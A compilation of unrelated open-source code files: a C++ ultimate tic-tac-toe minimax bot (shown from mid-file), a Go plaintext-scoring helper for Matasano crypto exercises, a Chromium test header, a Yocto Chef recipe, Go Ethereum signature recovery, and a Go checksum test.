            int newDepth;

            if (movesSize <= 10)
                newDepth = 5;

            else if (movesSize > 10 && movesSize <= 17)
                newDepth = 4;

            else if (movesSize > 17 && movesSize <= 46)
                newDepth = 3;

            else
                newDepth = 2;

            depth = (newDepth < depth) ? (newDepth) : (depth);
        }

        //  my turn
        if (player == _botId) {
            //  start pessimistic
            score = -INF;

            //  for each available move m
            for (int m : moves) {
                //  get the coordinates of the current move
                _move_t c_move = convertToCoord(m);

                //  simulate current move
                clone.simulateMove(c_move, _botId);

                //  calculate this move's score
                _score_t currentScore = minimax(clone, depth - 1, alpha, beta, _opponentId);

                //  undo current move
                clone.undoMove(c_move, bot);

                //  update scores
                if (currentScore > score) {
                    score = currentScore;
                    alpha = score;

                    //  pruning
                    if (alpha >= beta)
                        return score;
                }
            }
        }

            //  enemy's turn
        else {
            //  start pessimistic
            score = INF;

            //  for each available move
            for (int m : moves) {
                //  get coordinates of current move
                _move_t c_move = convertToCoord(m);

                //  simulate current enemy's move
                clone.simulateMove(c_move, _opponentId);

                //  calculate this move's score
                _score_t currentScore = minimax(clone, depth - 1, alpha, beta, _botId);

                //  undo current move
                clone.undoMove(c_move, bot);

                //  update scores
                if (currentScore < score) {
                    score = currentScore;
                    beta = score;

                    //  pruning
                    if (alpha >= beta)
                        return score;
                }
            }
        }

        return score;
    }

    //  TODO: improve
    void simulateMove(_move_t move, int player) {
        int x = move.first, y = move.second;

        int this_x = x / 3, this_y = y / 3;
        int sent_x = x % 3, sent_y = y % 3;

        int c_this = 3 * this_y + this_x;
        int c_sent = 3 * sent_y + sent_x;

        int c_move = convertToInt(move);

        //  put player on field
        _field[c_move] = player;

        //  get squares
        std::vector<int> thisSquare = getSquareFromBoard(this_x, this_y, _field);
        std::vector<int> sentSquare = getSquareFromBoard(sent_x, sent_y, _field);

        //  update macroboard
        if (isWinner(thisSquare, player))
            _macroboard[c_this] = player;
        else
            _macroboard[c_this] = 0;

        if (!squareIsDraw(sentSquare) && _macroboard[c_sent] <= 0) {
            _macroboard[c_sent] = -1;

            for (int i = 0; i < 3; i++) {
                for (int j = 0; j < 3; j++) {
                    if (i == sent_x && j == sent_y)
                        continue;

                    if (!squareIsDraw(getSquareFromBoard(i, j, _field)) && _macroboard[3 * i + j] <= 0)
                        _macroboard[3 * i + j] = 0;
                }
            }
        }
        else {
            for (int i = 0; i < 3; i++) {
                for (int j = 0; j < 3; j++) {
                    std::vector<int> aux = getSquareFromBoard(i, j, _field);

                    if (_macroboard[3 * i + j] == 0 && !squareIsDraw(aux))
                        _macroboard[3 * i + j] = -1;
                }
            }
        }
    }

    void undoMove(_move_t move, Bot orig) {
        int m = convertToInt(move);

        //  reset field
        _field[m] = 0;

        //  reset macroboard
        for (int i = 0; i < 9; i++)
            _macroboard[i] = orig._macroboard[i];
    }

    /* heuristics */
    _score_t evaluate(int player) {
        int opponent = (player == 1) ? (2) : (1);

        if (isWinner(_macroboard, player))
            return MACRO_WIN_SCORE;

        else if (isWinner(_macroboard, opponent))
            return 0;

        std::vector<_score_t> scores(9);

        for (int i = 0; i < 3; i++) {
            for (int j = 0; j < 3; j++) {
                int k = 3 * i + j;

                //  if I won the square on (i,j) on the macroboard
                if (_macroboard[k] == player)
                    scores[k] = MICRO_WIN_SCORE;

                    //  if the opponent won the square (i,j) on the macroboard
                else if (_macroboard[k] == opponent)
                    scores[k] = 0;

                    //  otherwise, evaluate the square (i,j)
                else {
                    //  get the square identified by coordinates (i,j)
                    std::vector<int> aux = getSquareFromBoard(i, j, _field);
                    //  evaluate it
                    scores[k] = evaluateSquare(aux, player);
                }
            }
        }

        //  final score
        return evaluateMacro(scores);
    }

    _score_t evaluateMacro(std::vector<_score_t> macro) {
        _score_t score = 0;
        _score_t diag1 = 1, diag2 = 1;

        for (int i = 0; i < 3; i++) {
            _score_t line = 1, col = 1;

            for (int j = 0; j < 3; j++) {
                line *= macro[3 * i + j];
                col *= macro[3 * j + i];
            }

            score += line + col;
        }

        for (int i = 0; i < 3; i++) {
            diag1 *= macro[3 * i + i];
            diag2 *= macro[3 * (2 - i) + i];
        }

        score += diag1 + diag2;

        return score;
    }

    _score_t evaluateSquare(std::vector<int> square, int player) {
        int opponent = (player == 1) ? (2) : (1);

        //  init scoreAssigns
        scoreAssign.insert(std::pair<int, _score_t>(0, 1));
        scoreAssign.insert(std::pair<int, _score_t>(player, 10));
        scoreAssign.insert(std::pair<int, _score_t>(opponent, 0));

        _score_t score = 0;
        _score_t diag1 = 1, diag2 = 1;

        std::map<int, _score_t> mm;

        for (int i = 0; i < 3; i++) {
            _score_t line = 1, col = 1;

            for (int j = 0; j < 3; j++) {
                line *= scoreAssign[square[3 * i + j]];
                col *= scoreAssign[square[3 * j + i]];
            }

            score += line + col;
        }

        for (int i = 0; i < 3; i++) {
            diag1 *= scoreAssign[square[3 * i + i]];
            diag2 *= scoreAssign[square[3 * (2 - i) + i]];
        }

        score += diag1 + diag2;

        return score;
    }

    /* field */

    bool multipleActiveSquares() {
        int count = 0;

        for (int i = 0; i < 9; i++) {
            if (_macroboard[i] == -1)
                count++;
            if (count >= 2)
                return true;
        }

        return false;
    }

    //  retrieves the square at the position (x, y) from the board
    std::vector<int> getSquareFromBoard(int x, int y, std::vector<int> board) {
        std::vector<int> square(9);

        int k = 0;

        for (int i = y * 3; i < (y * 3 + 3); i++) {
            for (int j = x * 3; j < (x * 3 + 3); j++)
                square[k++] = board[9 * i + j];
        }

        return square;
    }

    bool gameIsFinished() {
        if (isWinner(_macroboard, _botId))
            return true;

        if (isWinner(_macroboard, _opponentId))
            return true;

        return isFull();
    }

    bool isFull() {
        if (getAvailableMoves().size() == 0)
            return true;

        return (std::find(_field.begin(), _field.end(), 0) == _field.end());
    }

    bool squareIsDraw(std::vector<int> square) {
        return (std::find(square.begin(), square.end(), 0) == square.end());
    }

    bool isDraw(std::vector<int> macro) {
        return getAvailableMoves().size() == 0;
    }

    /* clone */

    Bot clone(Bot from) {
        Bot clone;

        for (int i = 0; i < 81; i++)
            clone._field[i] = from._field[i];

        for (int i = 0; i < 9; i++)
            clone._macroboard[i] = from._macroboard[i];

        clone._round = from._round;
        clone._move = from._move;

        return clone;
    }

    /* utils */

    //  constructs a 9-bit pattern from square, for player
    int constructPattern(std::vector<int> cells, int player) {
        int pattern = 0b000000000; // 9-bit pattern for the 9 cells

        for (int i = 0; i < 9; i++) {
            if (cells[i] == player) {
                pattern |= (1 << (8 - i));
            }
        }

        return pattern;
    }

    // if one square matches a winning pattern, then 'player' wins the square
    bool isWinner(std::vector<int> cells, int player) {
        int pattern = 0b000000000; // 9-bit pattern for the 9 cells

        for (int i = 0; i < 9; i++) {
            if (cells[i] == player)
                pattern |= (1 << (8 - i));
        }

        for (int wp : winningPatterns) {
            if ((pattern & wp) == wp)
                return true;
        }

        return false;
    }

    //  returns the position of the square that, if won, can lead to the end of the game in my favor
    //  p(pattern) and wp(winning pattern) are 9-bit sequences
    std::pair<int, int> getPos(int p, int wp) {
        int diffs = countDiffs(p, wp);

        if (diffs == 2) {
            for (int i = 0; i < 9; i++) {
                int bit_p = (p >> (8 - i)) & 1;
                int bit_wp = (wp >> (8 - i)) & 1;

                //  if the current bit in the winning pattern is 1
                //  and the current bit in the table pattern is 0,
                //  then the position where they differ (i) refers to the square that can be won
                if ((bit_wp & 1) == 1 && (bit_p & 1) == 0) {
                    return posPatterns[i];
                }
            }

            return std::pair<int, int>(-1, -1);
        }

        return std::pair<int, int>(-1, -1);
    }

    //  count diffs between two bytes
    int countDiffs(int byte1, int byte2) {
        int diff = 0;

        for (int i = 0; i < 9; i++) {
            diff += ((byte1 >> i) & 1) & ((byte2 >> i) & 1);
        }

        return diff;
    }

    /* parsing */

    void processCommand(const std::vector<std::string> &command) {
        if (command[0] == "action") {
            auto point = action(command[1], stringToInt(command[2]));
            std::cout << "place_move " << point.first << " " << point.second << std::endl << std::flush;
        }
        else if (command[0] == "update") {
            update(command[1], command[2], command[3]);
        }
        else if (command[0] == "settings") {
            setting(command[1], command[2]);
        }
        else {
            debug("Unknown command <" + command[0] + ">.");
        }
    }

    void update(const std::string &player, const std::string &type, const std::string &value) {
        if (player != "game" && player != _myName) {
            // It's not my update!
            return;
        }

        if (type == "round") {
            _round = stringToInt(value);
        }
        else if (type == "move") {
            _move = stringToInt(value);
        }
        else if (type == "macroboard" || type == "field") {
            std::vector<std::string> rawValues;
            split(value, ',', rawValues);
            std::vector<int>::iterator choice = (type == "field" ? _field.begin() : _macroboard.begin());
            std::transform(rawValues.begin(), rawValues.end(), choice, stringToInt);
        }
        else {
            debug("Unknown update <" + type + ">.");
        }
    }

    void setting(const std::string &type, const std::string &value) {
        if (type == "timebank") {
            _timebank = stringToInt(value);
        }
        else if (type == "time_per_move") {
            _timePerMove = stringToInt(value);
        }
        else if (type == "player_names") {
            split(value, ',', _playerNames);
        }
        else if (type == "your_bot") {
            _myName = value;
        }
        else if (type == "your_botid") {
            _botId = stringToInt(value);
            _opponentId = (_botId == 1) ? (2) : (1);
        }
        else {
            debug("Unknown setting <" + type + ">.");
        }
    }

    void debug(const std::string &s) const {
        std::cerr << s << std::endl << std::flush;
    }

public:
    // static settings
    int _timebank;
    int _timePerMove;
    int _botId;
    int _opponentId;

    std::vector<std::string> _playerNames;
    std::string _myName;

    // dynamic settings
    int _round;
    int _move;
    std::vector<int> _macroboard;
    std::vector<int> _field;
};

/**
 * don't change this code.
 * See Bot::action method.
 **/
int main() {
    Bot bot;
    bot.loop();
//
//
//    int macro[3][3] = {
//            {2, -1, 2},
//            {2, 2,  -1},
//            {1, 1,  0}
//    };
//
//    int board[9][9] = {
//            {1, 1, 2, 2, 0, 0, 0, 0, 1},
//            {2, 2, 2, 0, 0, 2, 0, 2, 2},
//            {0, 0, 0, 1, 1, 0, 0, 0, 0},
//            {0, 1, 2, 2, 2, 2, 2, 1, 0},
//            {1, 0, 0, 2, 1, 2, 0, 1, 1},
//            {0, 0, 0, 2, 0, 2, 0, 1, 0},
//            {0, 0, 0, 2, 0, 0, 2, 2, 1},
//            {0, 1, 0, 0, 2, 0, 1, 1, 2},
//            {1, 0, 2, 1, 1, 1, 2, 1, 2}
//    };
//
//////////
//    for (int i = 0; i < 3; i++) {
//        for (int j = 0; j < 3; j++) {
//            bot._macroboard[3 * i + j] = macro[i][j];
//        }
//    }
//
//    for (int i = 0; i < 9; i++) {
//        for (int j = 0; j < 9; j++) {
//            bot._field[9 * i + j] = board[i][j];
//        }
//    }
//
//    bot._botId = 1;
//    bot._opponentId = 2;
////////
////////
////////
////////
////////
//////////    TEST
////////
//    std::vector<int> moves = bot.getAvailableMoves();
//////
//    _move_t m = bot.action("move", 1);
//    std::cout << m.first << " " << m.second << std::endl;

////
//    std::vector<int> s = bot.getSquareFromBoard(0, 2, bot._field);
//
//    for (auto i : s) {
//        std::cout << i << " ";
//    }
//    std::cout << "\n";
////
//////    -----
////
////
//////    PRINT
//////    std::cout << "MACRO ORIGINAL:\n";
//////    for (int i = 0; i < 3; i++) {
//////        for (int j = 0; j < 3; j++) {
//////            std::cout << clone._macroboard[3 * i + j] << " ";
//////        }
//////        std::cout << std::endl;
//////    }
//////
//////
//////    std::cout << "FIELD ORIGINAL:\n";
//////    for (int i = 0; i < 9; i++) {
//////        for (int j = 0; j < 9; j++) {
//////            std::cout << clone._field[9 * i + j] << " ";
//////        }
//////        std::cout << std::endl;
//////    }
//////
//////    Bot clone = bot;
//////
//////    std::cout << "MACRO CLONE:\n";
//////    for (int i = 0; i < 3; i++) {
//////        for (int j = 0; j < 3; j++) {
//////            std::cout << clone._macroboard[3 * i + j] << " ";
//////        }
//////        std::cout << std::endl;
//////    }
//////
//////
//////    std::cout << "FIELD CLONE:\n";
//////    for (int i = 0; i < 9; i++) {
//////        for (int j = 0; j < 9; j++) {
//////            std::cout << clone._field[9 * i + j] << " ";
//////        }
//////        std::cout << std::endl;
//////    }
////
//////    ----

    return 0;
}

repository: alexandru-dinu/ultimate-tic-tac-toe-bot

repo_name: alexandru-dinu/ultimate-tic-tac-toe-bot

extension: cpp


text:
package main

import (
	"strings"
	"unicode"
	"math"
)

	// fmt.Println("Here's some scores for actual messages:")
	// fmt.Println(score("test and something"))
	// fmt.Println(score("Here's a message and things are great."))

	// fmt.Println("Here's some scores for random noise with well placed spaces:")
	// fmt.Println(score("adskf hgkwi wgfuh tbmeibv vriewrf iybvfj."))
	// fmt.Println(score("jicds fkcvbw qeigyw qedibf vndsv weiugrw."))

func score(msg string) float64 {
	// soft filter on nonstandard characters
	// plaintext will likely have a very small number of nonstandard characters
	lmod := 1.0
	for _, s := range msg {
		if !unicode.In(s, unicode.Letter, unicode.Punct, unicode.Space) {
			if (s < '0') || (s > '9') {
				if s != '\n' {
					lmod *= 0.1
				}
			}
		}
	}

	if lmod < 0.01 {
		return lmod
	}

	// calculate regularity measure for character frequency
	// plaintext will likely have similar character frequency to natural language
	fmod := 1.0
	appear := make(map[rune]int)
	countAppearance(msg, appear)
	fmod = regularity(appear)

	// average word length and standard deviation
	// plaintext will likely not have really long words
	wmod := 1.0
	spaceMsg := strings.Replace(msg, "\n", " ", -1)
	spaceMsg = strings.Replace(spaceMsg, "\t", " ", -1)
	spaceMsg = strings.Trim(spaceMsg, " ")
	spaceMsg = strings.Replace(spaceMsg, "  ", " ", -1)
	words := strings.Split(spaceMsg, " ")
	total := 0
	for _, word := range words {
		total += len(word)
	}
	average := float64(total) / float64(len(words))
	wmod /= (math.Abs(average - 5.08)+1.0)

	// TODO: calculate standard deviation
	// regular sd = 0.4305961

	return lmod * fmod * wmod
}

func normalise_corpus(m map[rune]int) map[rune]float64 {
	n := make(map[rune]float64)
	n[space] = spacefreq // precalculated
	s := sum(m)
	normaliser := (1 - spacefreq) / float64(s)
	for key, val := range m {
		n[key] = float64(val) * normaliser
	}
	return n
}

func normalise(m map[rune]int) map[rune]float64 {
	n := make(map[rune]float64)
	s := sum(m)
	normaliser := 1.0 / float64(s)
	for key, val := range m {
		n[key] = float64(val) * normaliser
	}
	return n
}

func regularity(appear map[rune]int) float64 {
	// First, we normalise the 'appear' and 'regular' distributions
	// as they are currently given as number of appearances
	regularNorm := normalise_corpus(NYTcorpus)
	appearNorm := normalise(appear)

	// distance from appear to regular
	dist := d(regularNorm, appearNorm)

	// invert for similarity and normalise
	return 1.0/(dist+1.0)

	// This will yeild a value between
	// 1/(sqrt(n)+1) and 1
	// where n is the number of keys
}

func d(m1, m2 map[rune]float64) float64 {
	keys := make(map[rune]bool)

	for key := range m1 {
		keys[key] = true
	}
	for key := range m2 {
		keys[key] = true
	}

	squareSum := 0.0
	for key := range keys {
		squareSum += (m1[key] - m2[key])*(m1[key] - m2[key])
	}

	return math.Sqrt(squareSum)
}

func countAppearance(msg string, appear map[rune]int) {
	for _, c := range msg {
		if ('a' <= c && c <= 'z') || ('A' <= c && c <= 'Z') {
			appear[c]++
		} else if c < 128 && unicode.In(c, unicode.Punct) {
			appear[punc]++
		} else if unicode.In(c, unicode.Space) || c == '\n' {
			appear[space]++
		} else if (c < '0') || (c > '9') {
			appear[digit]++
		} else {
			appear[other]++
		}
	}
	return
}

/*
	// find deviation from normal character frequencies
	appear := make(map[rune]int)
	for _, c := range msg {
		appear[c]++
	}

	freq := make(map[rune]float64)
	msgLen := float64(len(msg))
	for c := range appear {
		freq[c] = float64(appear[c]) / msgLen
	}

	//norm[]
*/

repository: voutasaurus/matasano

repo_name: voutasaurus/matasano


text:
// Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef CONTENT_BROWSER_TAB_CONTENTS_TEST_TAB_CONTENTS_H_
#define CONTENT_BROWSER_TAB_CONTENTS_TEST_TAB_CONTENTS_H_
#pragma once

#include "content/browser/tab_contents/tab_contents.h"
#include "content/common/notification_registrar.h"
#include "webkit/glue/webpreferences.h"

class Profile;
class TestRenderViewHost;

// Subclass TabContents to ensure it creates TestRenderViewHosts and does
// not do anything involving views.
class TestTabContents : public TabContents {
 public:
  // The render view host factory will be passed on to the
  TestTabContents(Profile* profile, SiteInstance* instance);

  TestRenderViewHost* pending_rvh() const;

  // State accessor.
  bool cross_navigation_pending() {
    return render_manager_.cross_navigation_pending_;
  }

  // Overrides TabContents::ShouldTransitionCrossSite so that we can test both
  // alternatives without using command-line switches.
  bool ShouldTransitionCrossSite() { return transition_cross_site; }

  // Overrides TabContents::Observe.  We are listening to infobar related
  // notifications so we can call InfoBarClosed() on the infobar delegates to
  // prevent them from leaking.
  virtual void Observe(NotificationType type,
                       const NotificationSource& source,
                       const NotificationDetails& details);

  // Promote DidNavigate to public.
  void TestDidNavigate(RenderViewHost* render_view_host,
                       const ViewHostMsg_FrameNavigate_Params& params) {
    DidNavigate(render_view_host, params);
  }

  // Promote GetWebkitPrefs to public.
  WebPreferences TestGetWebkitPrefs() {
    return GetWebkitPrefs();
  }

  // Prevent interaction with views.
  virtual bool CreateRenderViewForRenderManager(
      RenderViewHost* render_view_host);
  virtual void UpdateRenderViewSizeForRenderManager() {}

  // Returns a clone of this TestTabContents. The returned object is also a
  // TestTabContents. The caller owns the returned object.
  virtual TabContents* Clone();

  // Creates a pending navigation to the given URL with the default parameters
  // and then commits the load with a page ID one larger than any seen. This
  // emulates what happens on a new navigation.
  void NavigateAndCommit(const GURL& url);

  // Simulates the appropriate RenderView (pending if any, current otherwise)
  // sending a navigate notification for the NavigationController pending entry.
  void CommitPendingNavigation();

  // Simulates the current RVH notifying that it has unloaded so that the
  // pending RVH navigation can proceed.
  // Does nothing if no cross-navigation is pending.
  void ProceedWithCrossSiteNavigation();

  // Set by individual tests.
  bool transition_cross_site;

  NotificationRegistrar registrar_;
};

#endif  // CONTENT_BROWSER_TAB_CONTENTS_TEST_TAB_CONTENTS_H_

repository: meego-tablet-ux/meego-app-browser

repo_name: meego-tablet-ux/meego-app-browser


text:
SUMMARY = "LibreSwitch Chef client/agent recipe"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/Apache-2.0;md5=89aea4e17d99a7cacdbeed46a0096b10"

RDEPENDS_${PN} = "ruby"

BRANCH ?= "${LBS_REPO_BRANCH}"

SRC_URI = "${LBS_REPO_BASE_URL}/chef;protocol=${LBS_REPO_PROTOCOL};branch=${BRANCH}"
SRCREV = "96053a098716220fb4d484bc321b84dc2087cbd8"
PV = "git${SRCPV}"

S = "${WORKDIR}/git"

DIR_${PN} = "/opt/chef"
FILES_${PN} = "${DIR_${PN}}"

do_install() {
    install -d ${D}"${DIR_${PN}}"
}

inherit libreswitch

repository: jsdanielh/libreswitch

repo_name: jsdanielh/libreswitch


text:
package blockchain

import (
	"crypto/ecdsa"
	"crypto/elliptic"
	"fmt"
	"github.com/btcsuite/btcd/btcec"
	"github.com/zyjblockchain/tt_tac/utils/eth-watcher/utils"
	"golang.org/x/crypto/sha3"
)

var bitCurve = btcec.S256()

func Keccak256(data ...[]byte) []byte {
	d := sha3.NewLegacyKeccak256()
	for _, b := range data {
		d.Write(b)
	}
	return d.Sum(nil)
}

func PersonalEcRecover(data []byte, sig []byte) (string, error) {
	if len(sig) != 65 {
		return "", fmt.Errorf("signature must be 65 bytes long")
	}
	if sig[64] >= 27 {
		sig[64] -= 27
	}

	rpk, err := SigToPub(hashPersonalMessage(data), sig)

	if err != nil {
		return "", err
	}

	if rpk == nil || rpk.X == nil || rpk.Y == nil {
		return "", fmt.Errorf("")
	}
	pubBytes := elliptic.Marshal(bitCurve, rpk.X, rpk.Y)
	return utils.Bytes2Hex(Keccak256(pubBytes[1:])[12:]), nil
}

func hashPersonalMessage(data []byte) []byte {
	msg := fmt.Sprintf("\x19Ethereum Signed Message:\n%d%s", len(data), data)
	return Keccak256([]byte(msg))
}

func SigToPub(hash, sig []byte) (*ecdsa.PublicKey, error) {
	// Convert to btcec input format with 'recovery id' v at the beginning.
	btcSig := make([]byte, 65)
	btcSig[0] = sig[64] + 27
	copy(btcSig[1:], sig)

	pub, _, err := btcec.RecoverCompact(btcec.S256(), btcSig, hash)
	return (*ecdsa.PublicKey)(pub), err
}


text:
package helpers

import (
	"testing"
)

func TestGenerateChecksum(t *testing.T) {
	entries := []struct {
		base   string
		weight interface{}
		want   int
	}{
		{"987654", []int{10, 8, 5, 6, 3, 7}, 268},
		{"987654", 10, 310},
		{"12", 10, 28},
		{"12", []int{10, 9}, 28},
	}

	for _, entry := range entries {
		got := GenerateChecksum(entry.base, entry.weight)

		if got != entry.want {
			t.Errorf("Expected Checksum to be %v, but got %v", entry.want, got)
		}
	}
}

repository: fernandoporazzi/brazilian-utils

repo_name: fernandoporazzi/brazilian-utils